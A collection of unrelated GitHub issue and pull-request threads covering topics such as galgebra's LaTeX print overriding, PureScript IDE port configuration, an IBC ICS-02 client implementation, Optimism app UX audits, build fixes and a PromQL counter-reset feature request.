code: https://github.com/pygae/galgebra/blob/master/examples/LaTeX/colored_christoffel_symbols.py
output: https://nbviewer.jupyter.org/github/pygae/galgebra/blob/master/examples/ipython/LaTeX.ipynb

I took dop.ipynb from your ipython example and changed the line in cell 3 from "f" to "print(f)" and saved the executed and checkpoint ipynb file in dop.zip.  There were no errors generated and "print(f)" produced no output.  I used jupyterlab and was running python 3 as indicated by jupyterlab.
dop.zip
Do you have any ideas as to what is happening?

In looking at your code in printer for redirect and restore in GAlatexprinter I did not see the builtin print function redefined to overload it.  I also have worked on a python 3 version of galgebra.  Shown below is the critical code in the GALatexPrinter class for overloading the print function.  Any comments would be appreciated.
@staticmethod
def redirect():
    GaLatexPrinter.latex_str = ''
    GaLatexPrinter.text_printer = print   #Save original print function
    builtins.print = printer.latex_print  #Redefine original print function
    GaLatexPrinter.latex_flg = True
    GaLatexPrinter.Basic__str__ = Basic.__str__
    GaLatexPrinter.Matrix__str__ = Matrix.__str__
    Basic.__str__ = lambda self: GaLatexPrinter().doprint(self)
    Matrix.__str__ = lambda self: GaLatexPrinter().doprint(self)

    return

@staticmethod
def restore():
    if GaLatexPrinter.latex_flg:
        builtins.print = GaLatexPrinter.text_printer  #Redefine orginal print function
        GaLatexPrinter.latex_flg = False
        Basic.__str__ = GaLatexPrinter.Basic__str__
        Matrix.__str__ = GaLatexPrinter.Matrix__str__
    return

I've just made a complete example for 4 ways to print in GAlgebra: https://nbviewer.jupyter.org/github/utensil/julia-playground/blob/master/py/printing-galgebra.ipynb

I took dop.ipynb from your ipython example and changed the line in cell 3 from "f" to "print(f)" and saved the executed and checkpoint ipynb file in dop.zip. There were no errors generated and "print(f)" produced no output. I used jupyterlab and was running python 3 as indicated by jupyterlab.
dop.zip
Do you have any ideas as to what is happening?

 The code you listed above has the effect of redirecting standard output to a buffer object, so printing to standard output using print() will have no output as you had called Format() upfront. And if you do not call Format(), print() will work normally and output in the form of plain texts.

I modified both printer.py and dop.ipynb in your python 3 distribution both are in
new_printer.zip
I ran dop.ipynb using the new printer and saved at checkpoint after executing.  This is the behavior I would want the print function to have in jupyter notebook/lab if "Format()" is called.  The reason is that it makes if easy to annotate an output cell as can be seen in dop.ipynb or to print multiple objects in one cell.  Also the code for outputting LaTeX is then the same in an pure python program or in a notebook using python.  What do you think?

Oh, that's what you mean by overloading the print function.
I'm currently out for vocation, but I'll evaluate and merge this ASAP.
Sent with GitHawk

No rush.  My objective was to make printing seem as much as possible like python 3 printing.  Also, overloading the print function allows notebook printing to be the same as in normal (.py) python files.  In addition you can use multiple print function calls in a single notebook cell and print multiple objects in a notebook output cell.

This would be tracked in #39 .


[contracts] Admin functions

Should have additional admin functions for setting the:

[x] LIQUIDITY_FEE_NUMERATOR
[ ] LIQUIDITY_FEE_DENOMINATOR
[x] tokenRegistry
[x] relayerFeeRouter
[x] executor
[x] wrapper

I don't think we need a function to update LIQUIDITY_FEE_DENOMINATOR

done in #1207


"Unexpected token �"

I'm getting a strange error on every key press.
$ psc-ide-server --version
<IP_ADDRESS>
$ atom --version
Atom    : 1.7.1
Electron: 0.36.8
Chrome  : 47.0.2526.110
Node    : 5.1.1

It seems the formatting in the screenshot is more useful than plain text:

My random and completely unsubstantiated suspicion is that there might be a part of the code that tries to use the default port. There's a backup program or something else occupying it and would explain the random junk showing up. At the same time, as you can see in the screenshot, on-save validation seems to be working just fine, so I guess it would be the type-ahead that's somehow buggered.

Oh.
Apparently the psc-ide port number configuration is only used to start the server, we always try to connect to 4242...

At least my suspicion wasn't that far off then. :)
I'd like to take a stab at this but from a quick look I can't immediately see where the communication with the server happens.

It's actually via https://github.com/kRITZCREEK/purescript-psc-ide - need to pass the port. Lots of this is via https://github.com/nwolverson/purescript-ide-purescript-core

Did you start on this? I notice @kRITZCREEK has the required changes to pass a port on a branch already https://github.com/kRITZCREEK/purescript-psc-ide/commit/63638491d77ea19fdecbba09ba88dd54200c53fb

Brilliant. No, I did not start. :)
On Mon, Apr 18, 2016, 07:34 Nicholas Wolverson<EMAIL_ADDRESS>wrote:

Did you start on this? I notice @kRITZCREEK
https://github.com/kRITZCREEK has the required changes to pass a port
on a branch already kRITZCREEK/purescript-psc-ide@6363849
https://github.com/kRITZCREEK/purescript-psc-ide/commit/63638491d77ea19fdecbba09ba88dd54200c53fb
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub
https://github.com/nwolverson/atom-ide-purescript/issues/73#issuecomment-211225486

Have a local change for this already on the rebuild-commands branch.

Fixed 6e41f996d1cab0e82e51e084bfb6597303503c54

@nwolverson Thank you so much! 🎉


[IBC] Implement the ICS-02 Client interfaces

Description

Summary generated by Reviewpad on 26 Jul 23 10:09 UTC
This pull request introduces various changes across multiple files in the codebase.
Here is a summary of the changes:

The file ibc/main_test.go has undergone changes related to the constructor method call from "newProvableStore" to "NewProvableStore".
The file ibc/main_test.go has changes in the function newTestP2PModule, bus.RegisterModule(p2pMock) line removal, and prepareEnvironment function modification.
The file queries.go in the ibc/client/types package includes the addition of new functions for retrieving and storing client and consensus states.
The file submodule.go in the ibc/client package adds the implementation of a client manager module for managing the creation, update, and upgrade of clients.
The file ibc/client/types/validate_test.go contains new test cases for validating various types in the types package.
The file keys_ics02.go in the ibc/path package includes changes related to store keys and paths for client and consensus states.
The file provable_store_test.go has changes in the test cases and the constructor method call, replacing newProvableStore with NewProvableStore.
The file queries.go in the ibc/client package introduces new functions for retrieving client and consensus states.
The file upgrade.go adds new types and functions related to upgrading the client state.
The file events.go includes implementations related to emitting events for the IBC client.
The file event_keys.go defines constants and variables related to the events emitted by the Client submodule.
The file misbehaviour.go adds a new struct and methods related to handling misbehavior by clients.
The file header.go adds a new file with types and methods related to the Wasm client consensus algorithm.
The file consensus_state.go includes the implementation of the ConsensusState struct and its associated methods.
The file ibc/docs/README.md has additions related to the ICS-02 implementation and links to relevant resources.
The file fraction.go introduces a new file with types and methods for comparing and performing operations on fractions.
The file errors.go includes changes related to error codes and a new error.
The file update.go adds types and methods for verifying and updating client states.
The file introspect.go introduces new functions for retrieving and verifying client and consensus states.
The file types.go adds implementations related to the IBC client for a Wasm module.
The file ibc/host/submodule.go includes changes related to imports and function modifications.

Please review these changes carefully to ensure they adhere to the code's functionality and requirements.

Issue
Fixes #894
Type of change
Please mark the relevant option(s):

[x] New feature, functionality or library
[ ] Bug fix
[ ] Code health or cleanup
[ ] Major breaking change
[ ] Documentation
[ ] Other

List of changes

Implement the generic WASM messages according to their interfaces
Implement the ClientManager interface in the client submodule
Finish ICS-24 related host introspection methods
Leave placeholders for #912 WASM implementations
Add unit tests
Update documentation

Testing

[x] make develop_test; if any code changes were made
[x] make test_e2e on k8s LocalNet; if any code changes were made
[x] e2e-devnet-test passes tests on DevNet; if any code was changed
[x] Docker Compose LocalNet; if any major functionality was changed or introduced
[x] k8s LocalNet; if any infrastructure or configuration changes were made

Required Checklist

[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have added, or updated, godoc format comments on touched members (see: tip.golang.org/doc/comment)
[x] I have tested my changes using the available tooling
[ ] I have updated the corresponding CHANGELOG

If Applicable Checklist

[x] I have updated the corresponding README(s); local and/or global
[x] I have added tests that prove my fix is effective or that my feature works
[ ] I have added, or updated, mermaid.js diagrams in the corresponding README(s)
[ ] I have added, or updated, documentation and mermaid.js diagrams in shared/docs/* if I updated shared/*README(s)

References for the reviewer:
[1] ICS-02 spec
[2] Most up to date ICS-08 spec
[3] IBC Light Client explanatory series
CC: @Olshansk

@srdtrk if you are able to review this PR when you have some time I would really appreciate your feedback. This is an implementation of ICS-02, specifically for enabling ICS-08 (not implemented here). The code should look and feel similar to ibc-go and the spec, any feedback is appreciated

@srdtrk Let us know if/when you can take a look at this as well!


Feature: ReAdded Custom themes

@TheShiveshNetwork
Fixes #22
Created a new PR as requested in #26
Updates:

Added new custom themes: Gameboy & Pokemon Home
Gameboy utilizes the limited colour scheme of the original Gameboy and utilizes sprites instead of official art for all 1017 Pokemon
Pokemon Home is based on the colours used in the app reference pictures can be found below
Made both themes storable
Updated the way tracking themes is handled to support any number of additional themes
Added a drop-down for the themes
Updated SelectComponents.jsx to support ids for tracking the theme changes (default is null).

I had a lot of fun with this, I hope all the changes are up to spec! Here are some pictures of the themes in action:
Gameboy:

Pokemon Home:

References for the home theme:

taken from the official Nintendo store page

Of course, feel free to request changes, I will add them ASAP!

Hey @TheShiveshNetwork I'm not too sure why the previous one didn't work, but it seems like the preview for this pr works perfectly, let me know once you merge if there are any problems and I will be sure to sort them out.


Throwing exceptions to rollback transaction, logging stacktrace

Verified they are working on the server, so this can be merged.

Replaced with #178


Permission error when trying to write temporary files

For now, to update the paths of the assets I was writing a temporary file with he information. This causes some issues when done in a directory lacking the permissions.
Need to change the way the asset paths are handled.

Fixed with commit "Mayor 0.3.0: RF, DAC, and asset changes."


[weblate]: authenticate weblate requests

Updates the Weblate badges to authenticate on the official instance. (https://hosted.weblate.org)
To keep things a little tidier, also defines BaseWeblateService to centralize some Weblate code.

Warnings

:warning:
This PR modified service code for weblate but not its test code. That's okay so long as it's refactoring existing code.

:warning:
This PR modified the server but none of its tests. That's okay so long as it's refactoring existing code.

Messages

:book:

Thanks for contributing to our documentation. We :heart: our documentarians!

:book:
:sparkles: Thanks for your contribution to Shields, @SethFalco!

  Generated by :no_entry_sign: dangerJS against 6cab223c7121241d5f6f1abfcfacfce03789a2b4

Thanks for following up with this. Do you know if there's any kind of read-only API token or other form of scoping? (i forget if we'd discussed this before)

Unfortunately, not that I'm aware of.
The only read-only API would be the unauthenticated API.
I did just check, and I see nothing in the documentation about it, and on the API key page the only option is "Regenerate API Key" which has no other options, it'll just revoke the old key for a new one.

Sorry about that, hopefully it should be fine now.
I believe I've made all requested changes.


✨ Contribution Opportunity: Application UX Research

What is a Contribution Opportunity?
A Contribution Opportunity is a concrete task that you can work on to contribute to the Optimism Collective.

Summary
The OP Mainnet ecosystem is home to many different applications. You can find many of these applications on the Optimism Ecosystem page.
The UX of an application on OP Mainnet reflects on OP Mainnet as a whole. It is highly valuable for application developers to get actionable feedback on the experience of using their applications.
The ideal outcome of this Contribution Opportunity is a detailed document that reviews the following key UX points for some of the applications deployed to OP Mainnet:

Wallet connection experience
UI responsiveness to user interactions
Loading times
Fast responsiveness to transactions
UI bugs or glitches in the UI display
Simplicity of understanding and using the core product
Navigation and layout issues
General sense of polish and trustworthiness instilled by the application

Potential Features

Detailed document describing your experience with various apps
Focus on the above key UX points
Screenshots or recordings when encountering issues
Subjective reviews of different features

Impact

Applications are the heart of OP Mainnet and a good app UX may influence people to use other OP Mainnet apps
Helps application developers better serve their target audience

Hop Exchange UX Audit (WIP)
https://ebony-glue-1d8.notion.site/HOP-UX-72c056151f09415193e0cec469a30aa7
I welcome any comments/questions to the document and please let me know if any issues found need more context.

@squirt11e SO sick, thank you! Will make sure the Hop team takes a look at this

PoolTogether UX Audit (WIP)
https://squirtle0x.notion.site/Pool-Together-UX-Review-48ee2f2c24d64f3b800f9898930ca3f0

Velodrome UX Audit (WIP)
https://skayaz.notion.site/Velodrome-787edf83836341cbb5cb82d50f3f51ca?pvs=4

Hey everyone, getting back into these issues now that Bedrock is done! Going to forward these to the relevant parties :-)

@squirt11e the Hop team really appreciated your UX review!!

@Ayaz1997 I forwarded this over to the Velodrome team! Apparently their V2 is launching tomorrow which will come with a new UI. Would you want to review that new UI too?

Working on UX Research for Lyra. Will update this comment with a notion link when it's in a good state to share

Working on UX Research for Beefy. Will update this comment with a notion link when it's in a good state to share

I am a UX designer and I did a UX audit for Lyra here on notion [https://www.notion.so/Lyra-UX-Audit-a634525d210544a9b26d5ce299ca1a09?pvs=4]

I did UX Audit for Synthetix here. I will add more once I get the reward from the staking. [https://mirror.xyz/0x85Ff6b55Eb2cE82d9d8EF357c21dC3b316553af3/F0InN7VZr0mWMOKHThuulNMVuXLXAap9ymk_pipd2g8]
The info arrangement is not perfect due to the usability issue of Mirror.

Beefy UX Audit
https://squirtle0x.notion.site/Beefy-UX-Review-08c398c82bd9471692db8bc93e58e344?pvs=4

Hi all, my name is Marko and I'm Head of Design at General Magic. On behalf of my design team I'm providing you with following UX audits:

Curve Finance
Beefy Finance
Velodrome
KyberSwap

You can watch, star or fork our repo here.
I hope this will add value to the respected teams and to the Optimism ecosystem in general.
We're moving on with more audits in the coming months, if there's any DApp you'd like us to audit please let me know in the comments here or message me on our General Magic Discord server.
Thanks!
cc/ @smartcontracts

Hello!
MoonPay
Will do more soon!

https://squirtle0x.notion.site/Pool-Together-UX-Review-48ee2f2c24d64f3b800f9898930ca3f0


Change button design in screen "Risiko-Ermittlung" (EXPOSUREAPP-5451)

Before:

Designs:

After:

Touch highlighting is off

@ralfgehrer Good Catch! I fixed the touch area in the commit above 👆

@mtwalli I replaced ImageView with AppCompatImageView.


fix permissions bug

don't need to check for instance of specific community in policyengine/models.py

resolved with pull request #86


remove zip file existence check

Pre-Flight checklist

[ ] Screenshots and design review for any changes that affect layout or styling

[ ] Desktop screenshots
[ ] Mobile width screenshots

[ ] Testing

[ ] Code is tested
[ ] Changes have been manually tested

What are the relevant tickets?
Closes https://github.com/mitodl/ocw-hugo-themes/issues/1076
What's this PR do?
This PR removes some code that checks to make sure that a ZIP file exists at the expected URL before generating a link button pointing to it on the download page. This functionality was introduced in https://github.com/mitodl/ocw-hugo-themes/pull/960 and https://github.com/mitodl/ocw-hugo-themes/pull/979 as a way to prevent the link to the download button from being generated at build time if the file did not exist yet. The code is fragile, and relied on the existence of a bug in Hugo that has since been fixed - https://github.com/gohugoio/hugo/issues/10604. We no longer need this check, as since https://github.com/mitodl/ocw-studio/pull/1630 is part of the single course publishing pipeline now, the ZIP is guaranteed to be generated and put in place before the first online build of a course is run.
How should this be manually tested?

Run yarn start course
Visit http://localhost:3000 and click the download course button in the course info drawer
On the download page, you should see a button to download the course that links to a ZIP file
The link won't work in the local dev server, but it should look something like https://localhost:3000/10.302-fall-2004.zip

+1 Re local dev url, mine is more like https://live-qa.ocw.mit.edu//localhost:3000/9.40-spring-2018.zip but I think that's fine for local and not a behavior change.

Yea, that has to do with setting RESOURCE_BASE_URL, which is a local dev setting and isn't set in RC or production.


can't upload image

i have this issue when i try upload img, pls help me

yes

@pdkhanh3011 can you please try to set your domain name in APP_URL (.env file)

tks u, i fixed it by assigning permission 777 to the storage folder


Supplying an Application instance when dequeuing a job

It would be advantageous to have access to an instance of Application when dequeueing a job.
Maybe having it added as a property on the JobContext
func dequeue(_ context: JobContext, _ payload: SomeJob) -> EventLoopFuture<Void> {
    context.application.someService.....
}

As a workaround, app.jobs.configuration has a userInfo dict that you can put whatever you need into. Then you can access that from context.configuration

Sounds good.


[chore](mac compile) remove using regex to avoid mac compile failed frequently

Proposed changes
if we do not add boost:: in the codes, we got following errors while compile in Mac.
So here remove unused using regex
/Users/runner/work/doris/doris/be/src/olap/delete_handler.cpp:205:5: error: reference to 'smatch' is ambiguous
    smatch what;
    ^
/Users/runner/work/doris/doris/be/src/olap/delete_handler.cpp:48:14: note: candidate found by name lookup is 'smatch'
using boost::smatch;
             ^
/usr/local/opt/llvm@16/bin/../include/c++/v1/regex:5397:48: note: candidate found by name lookup is 'std::smatch'
typedef match_results<string::const_iterator>  smatch;
                                               ^
/Users/runner/work/doris/doris/be/src/olap/delete_handler.cpp:215:9: error: reference to 'regex' is ambiguous
        regex ex(CONDITION_STR_PATTERN);
        ^
/Users/runner/work/doris/doris/be/src/olap/delete_handler.cpp:45:14: note: candidate found by name lookup is 'regex'
using boost::regex;
             ^
/usr/local/opt/llvm@16/bin/../include/c++/v1/regex:2613:30: note: candidate found by name lookup is 'std::regex'
typedef basic_regex<char>    regex;
                             ^

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


runtime-mutation-using-input-type

Codecov Report

Merging #110 (137d543) into main (bb0a4be) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #110   +/-   ##
=======================================
  Coverage   25.13%   25.13%
=======================================
  Files           1        1
  Lines         187      187
=======================================
  Hits           47       47
  Misses        134      134
  Partials        6        6

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bb0a4be...137d543. Read the comment docs.


backend-common: fix plugin auth for mixed usage of old and new system

Hey, I just made a Pull Request!
Fixes #24553
Another option could be to fully implement support for verifying new plugin tokens in the old ServerTokenManager, the trouble with that approach is that we don't currently have access to the discovery service, so that would be a breaking change : /
Figured this is a good enough fix to have around until we can fully deprecate and remove the token manager and old backend system.
:heavy_check_mark: Checklist

[x] A changeset describing the change and affected packages. (more info)
[ ] Added or updated documentation
[ ] Tests for new functionality and regression tests for bug fixes
[ ] Screenshots attached (for UI changes)
[x] All your commits have a Signed-off-by line in the message. (more info)

@freben yep - might throw in some tests if it's simple enough but didn't have any existing ones and ofc this is all going away soon 😅


Add a table listing which types upon which you can do typedef and type

The contents of the table are based upon the current p4c
implementation, tested via the p4test command.

I think we should just merge this.

Recent changes in p4c have made it no longer an error to have a definition of typedef int foo;, so we could perhaps consider changing that entry of the table from error to allowed.
There was a question raised at the LDWG of whether type tuple ... foo; should be allowed or not.  I do not know if there is any urgent use case for supporting that, personally.  I do know that the PSA's use of type definitions only needs support for type bit<W> foo; and type A B;, where A is typedef bit<W> A;.  Anything over and above that is harmless to PSA, but currently unnecessary.


handle _data files / dir?

does this handle files in the _data dir? jekyll doesn't seem to handle these so well, presumably because  it doesn't know which templates depend on which data files. i was hoping for something that would just rebuild everything when a data file changes.

This plugin watches everything except changes in the output directory (usually _site):
https://github.com/imathis/guard-jekyll-plus/blob/master/lib/guard/jekyll_plus/config.rb#L95
So it does watch the data directory, but it depends how jekyll build responds.
Since jekyll doesn't know which data files affect which files, you can manually add "fake" guard triggers for each dependent file in your Guardfile, e.g.:
require 'guard/jekyll_plus/config'
jekyll_plus_options = {}
guard 'jekyll-plus', jekyll_plus_options do
  watch(Guard::JekyllPlus::Config.new(jekyll_plus_options).watch_regexp)
  watch('_data/stuff.yml') { ['src/foo.html', 'src/bar.html'].each { |f| system("touch", f } }
end

This may confuse your editor, but it's better than nothing.
Otherwise, Jekyll would have to have a "dependency" mode, where it processes a file and only lists dependencies (instead of actually processing the file).

oh wow, that's awesome. thanks!
@e2 i'm curious, have you seen your plugin used to make jekyll generate source maps? I've had some difficulty with doing so, that's what brought me here.

Hey, I've run into a similar issue when editing ruby files in the _plugins directory. I expect this has the same underlying cause of jekyll build not knowing which files to build.
Would it be possible to trigger a full jekyll build for certain files such as _data/* and _plugins/*?
I'm happy to take a stab at it if it seems like a good idea.


feat: use security-group module instead of resource

what

use security-group module instead of resource

why

more flexible  than current implementation
bring configuration of security group/rules to one standard

references

CPCO-409

/test bats

/test all

/test all

/test all

/test all

/test all

/test all

/test all

A list of breaking changes have been added to the release notes.
https://github.com/cloudposse/terraform-aws-efs/releases/tag/0.31.0


New version: Baidu.BaiduPinyin version <IP_ADDRESS>

This pull request is automatically generated by 🥟 Dumplings in #2932
Microsoft Reviewers: Open in CodeFlow

Automatic Validation ended with:

Installation failed with exit code -1978335226
2023-12-21 21:51:49.891 [CLI ] ShellExecute installer failed: 2
2023-12-21 21:51:49.555 [CLI ] ShellExecute installer failed: 2

(Automated response - build 490.)

Manual Validation ended with:

12:09:27 PM:
2023-12-27 12:09:27.028 [CLI ] Package hash verification failed. SHA256 in manifest [faff7c0cd05217ddea6f1cc33cd3daa2b960d59e38697b45f756644469bba098] does not match download [aabf3348999727adc7f636c4f7e676d83604708a94547c87d259adc895137a86]

(Automated response - build 489.)


Customize Colors of the Generated QR Code

Description of the problem:
Quoting the README,

No customization of the image is currently supported, including changing colors or padding. If you
require more customization, copy and modify the source for the encoder.

The QR codes are generated in black color with a white background by default. The colors are hardcoded in the BarcodeEncoder.java class.
private static final int WHITE = 0xFFFFFFFF;
private static final int BLACK = 0xFF000000;

public Bitmap createBitmap(BitMatrix matrix) {
    ...
    for (int y = 0; y < height; y++) {
        ...
        for (int x = 0; x < width; x++) {
            pixels[offset + x] = matrix.get(x, y) ? BLACK : WHITE;
        }
    }
    ...
    return bitmap;
}

Color customization is a common requirement of most end-users of the library, who might want to place the QR code on a non-white background. And it is very easy to provide this functionality by just letting the WHITE and BLACK variables be non-static and providing setter methods for setting a @ColorInt value for both of them. This would allow the users to set the background and foreground colors of their own choice for the generated codes, and even make the background transparent if they need to.
It would be useful to have this feature out-of-the-box in the library itself, instead of users needing to modify the source code themselves.
Which library version are you using? 4.3.0

Fixed in #696

As this has been fixes is it possible to color the edges of the QR code like described in this issue?
https://github.com/journeyapps/zxing-android-embedded/issues/364


luigi.contrib.hdfs.HdfsTarget Not working.

I am trying to run below piece of code:
import luigi
class PrintNumbers(luigi.Task):
def requires(self):
    return []

def output(self):
    return luigi.LocalTarget("numbers_up_to_10000.txt")

def run(self):
    with self.output().open('w') as f:
        for i in range(1, 11):
            f.write("{}\n".format(i))

class SquaredNumbers(luigi.Task):
def requires(self):
    return [PrintNumbers()]

def output(self):
    return luigi.contrib.hdfs.HdfsTarget('/log.txt')

def run(self):
    print("Output")

if name == 'main':
luigi.run()
Command : python run_luigi.py SquaredNumbers  --local-scheduler
Expectation : Should create one local file. And one in HDFS.
Error:
DEBUG: Checking if SquaredNumbers() is complete
WARNING: Will not run SquaredNumbers() or any dependencies due to error in complete() method:
Traceback (most recent call last):
File "/Library/Python/2.7/site-packages/luigi/worker.py", line 334, in check_complete
is_complete = task.complete()
File "/Library/Python/2.7/site-packages/luigi/task.py", line 540, in complete
outputs = flatten(self.output())
File "run_luigi.py", line 22, in output
return luigi.contrib.hdfs.HdfsTarget('/log.txt')
AttributeError: 'module' object has no attribute 'contrib'
INFO: Informed scheduler that task   SquaredNumbers__99914b932b   has status   UNKNOWN
INFO: Done scheduling tasks
INFO: Running Worker with 1 processes
DEBUG: Asking scheduler for work...
DEBUG: Done
DEBUG: There are no more tasks to run at this time
INFO: Worker Worker(salt=041929279, workers=1, host=dhcp-10-176-99-172.idc.oracle.com, username=Nikhil, pid=4476) was stopped. Shutting down Keep-Alive thread
INFO:
===== Luigi Execution Summary =====
Scheduled 1 tasks of which:

1 failed scheduling:

1 SquaredNumbers()

Did not run any tasks
This progress looks :( because there were tasks whose scheduling failed
===== Luigi Execution Summary =====
P.S I am new to both Python and Luigi.

closing this issue.

[ ] It has been inactive for +4 months.
[ ] It's not about luigi core, so not as many users are affected about this.
[ ] The change seems quite big, it's unlikely to be sporadically picked up.
[ ] The owner haven't responded or disappeared.
[ ] I don't understand what this issue is about.
[ ] There exists a reasonable workaround for this.
[ ] We need to check if this hasn't been fixed by now (for old issues).
[ ] This is kind of by design and not a bug.
[ ] Resolving this would probably add a lot of complexity.
[x] This is a question not an issue. Use SO or the mailing list.

Every open issue adds some clutter, and we try to make the issues fewer and make it easier for new collaborators to find. Currently we try to close any issue that meets the first checkbox + one other.
Feel free to reopen this issue at any point if you have the intent to continue to work this. :)

For what it's worth, this helped me: https://stackoverflow.com/questions/43968574/python-luigi-copy-to-postgres


Changed id-to-job map in cache.go to a custom type

Fixes #39

@elimisteve Mind taking a quick look?


Add jvm and nix support

Although the dialect generates async code, the native driver is still synchronously.

Unfortunately, this isn't possible. Biggest problem is the different dialect, jdbc uses ?, while postgresql uses $ as query parameter. With the current sqldelight api, this isn't possible.
While we could fix the api, this PR is mostly just a workaround until a proper Kotlin multiplatform driver exists #9.


General documentation fixes

Double spacing after periods was replaced with single spaces, tabs replaced with spaces, character line limit removed, and many other improvements and consistency fixes.

Merged as 19a4da0396391a356bf70cc50e831696e616e643.


Bug with splitField and identical fields in different collections

User @rmontuoro reported an issue when testing the UFS that if he tried to write two distinctly named collections with identical fields (one is time averaged, other is not) like so:
  inst_3d_aer.format:     'CFIO' ,
  inst_3d_aer.descr:      '3d,3-Hourly,Instantaneous,Model-Level,Analysis,Aerosol Concentrations',
  inst_3d_aer.template:   '%y4%m2%d2_%h2%n2z.nc4',
  inst_3d_aer.mode:       'instantaneous',
  inst_3d_aer.grid_label:  PC720x361-DC ,
  inst_3d_aer.splitField:  1,
  inst_3d_aer.frequency:   010000 ,
  inst_3d_aer.duration:    010000 ,
  inst_3d_aer.ref_time:    000000 ,
  inst_3d_aer.nbits:      10,
  inst_3d_aer.fields:   'DU'           , 'DU'   ,
                        'SS'           , 'SS'   ,
                      ::

  tavg_3d_aer.format:     'CFIO' ,
  tavg_3d_aer.template:   '%y4%m2%d2_%h2%n2z.nc4',
  tavg_3d_aer.mode:       'time-averaged',
  tavg_3d_aer.grid_label:  PC720x361-DC ,
  tavg_3d_aer.splitField:  1,
  tavg_3d_aer.frequency:   020000 ,
  tavg_3d_aer.duration:    020000 ,
  tavg_3d_aer.ref_time:    000000 ,
  tavg_3d_aer.nbits:      10,
  tavg_3d_aer.fields:   'DU'           , 'DU'   ,
                        'SS'           , 'SS'   ,
                      ::

This looks like an issue with the split option. I was able to reproduce this in a hack of my ExtDataDriver and see this:
pe=00000 FAIL at line=03051    MAPL_Base.F90                            <status=13>
pe=00000 FAIL at line=02867    MAPL_HistoryGridComp.F90                 <status=13>
pe=00000 FAIL at line=01445    MAPL_HistoryGridComp.F90                 <status=13>
pe=00000 FAIL at line=01839    MAPL_Generic.F90                         <needs informative message>
pe=00000 FAIL at line=00379    ExtDataDriverGridComp.F90                <status=1>
pe=00000 FAIL at line=00535    ExtDataDriverGridComp.F90                <status=1>
pe=00000 FAIL at line=00128    ExtDataDriverMod.F90                     <status=1>
pe=00000 FAIL at line=00024    ExtDataDriver.F90                        <status=1>

From what I can tell, it looks like the split option adds the split fields back to the export state of the component when first initializing history. It looks like if you have two collections with the split and the same fields it fails with a trying to add duplicate field error. So the logic here probably needs to check if we have already added the split field for the original in that component.

I can confirm that PR #758 fixes the issue for UFS-GOCART. Thanks @atrayano and @bena-nasa!


Various fixes

I couldn't split some of these so it's just one PR. Let me know if you want to review them separately, best to just go commit by commit.
Fixes https://github.com/crufter/haquery/issues/2
cc @crufter

@domenkozar, looks good mate. I'm always happy for PRs. Thanks for the hard work!


Implement a function that adjusts for counter resets

Without transforming the counter into a rate, which is effectively what increase() does. Such a function should therefore always result in a monotonically increasing vector. This is useful when counters represent KPIs (e.g. money).

Would this function really be meaningful in the Prometheus context? It would require to look back until the beginning of history to add up all the counter-resets. However, since we have limited retention, whenever a counter reset falls off the end of the retention time, the current value would change.
In a way, you already have this function by saying increase(some_metric[1000d]) assuming that your retention time is less than 1000d.

The issue with increase(some_metric[1000d]) is that it's very inefficient, and does not yield a monotonic time series. As far as I can ascertain, increase does the same thing as rate, only without scaling down to per-second values. This is confirmed by reading increase's implementation, which comes down to simply scaling the values in the time series.
What I'd like to achieve is a graph where all time series start at zero, and one can compare the rise of different series over time, as well as at the end of the observed time frame. Here's what it should look like. This presentation form is quite useful for certain KPIs (e.g. revenue).
The example above is actually graphed using Graphite's integral() function, which inherently results in just why I've described: a monotonically increasing graph where all time series start at zero.
I now realize that, for my use case, the function suggested in this ticket is actually not be quite sufficient, as the resultant graph would not start at zero, but at whatever arbitrary value the counter had reached at the beginning of the observed time frame.

I think I've got it now.
So, you want to graph something that refers to a fixed point t0 in the past. The graph should show the (counter-reset corrected) value of a counter C at the variable time t minus the value at t0, i.e. f(t) = C(t) – C(t0).
The fundamental problem is that PromQL has no notion of that fixed point in the past. It's all relative and sliding window. Perhaps somebody else has an idea, but I believe that we needed to introduce a fundamentally new concept into PromQL to satisfy your request.

Yup, you got it. It's worth stressing that I don't want to explicitly hard code a reference point. I'd like the graph drawn to always start at zero. Having to reformulate queries for that would be very unfriendly to my dashboard's users (I'm using Grafana - not sure if it matters).
I know that PromQL is a language for both graphing and alerting, and that the functionality I'm seeking is probably useless for alerts (as there is no concept of a graph being drawn, just time windows). Still, I think it's very valuable for graphing certain KPIs. For my use case, I'll probably have to keep Graphite on for this functionality, while using Prometheus everywhere else for its superior support for breakdowns and alerts (as an added bonus, graphs look sharper / more accurate too).

Yeah, that's really impossible with Prometheus's query model at the moment. Prometheus just takes your expression and evaluates it at every resolution step in the graph, but each of those evaluations has no notion of the graph range, or that it is even shown in a graph at all.
This might be better solved on the visualization side, but I'd be surprised if e.g. Grafana would be up for supporting this kind of feature.

I'm not familiar with PromDash, but perhaps it would be solvable there? I'd still need a noresets function, as I wouldn't expect the visualization platform to adjust for counter resets.

This sound like something better handled on the visualization side, I'm unsure that this is a useful graph and suspect logs are better for this class of use case.

@brian-brazil, could you elaborate on how logs can address my use case? I've found that being able to look at any timeframe and compare the KPI performance of competing algorithms over that timeframe to be very useful, and doing so in graph form very convenient. Doing it this way is flexible, low latency, and easy to use. My main reason for switching from Graphite to Prometheus is wanting more flexibility to allow for multiple (5-10) orthogonal breakdowns. I might also consider Druid or InfluxDB, though I'm sure they come with their own caveats. In the end, I can keep using Graphite wherever integral is needed, but will not be able to take advantage of Prometheus' superior support breakdowns.

You seem to trying to get accurate graphs of something to do a type of reporting-like statistical analysis that Prometheus is not designed to do, that usually means that logs are a better approach than metrics.

Actually, I'm fine with some inaccuracy (let's say up to ±3% margin of error is fine). This isn't for billing or anything. I'm not sure I understand how logs address the use case. Are you suggesting I use something like Spark Streaming to generate periodic reports? That would be more accurate, but much less flexible, and with much higher latency. If I'm missing some obvious solution, please do help me see it. :)

You can send queries to Prometheus with an appropriate interval and start time, and as mentioned the execution model has no notion of graphs. It looks like Prometheus already has the required support here, and this is more something that needs to be implemented client side. If this is incorrect and there's something server side that's needed, please let us know.


Set mat-sidenav-container scrollbar

Bug, feature request, or proposal:
Change sidenav container scrollbar
What is the expected behavior?
Override the scrollbar with body { css } or something like this:
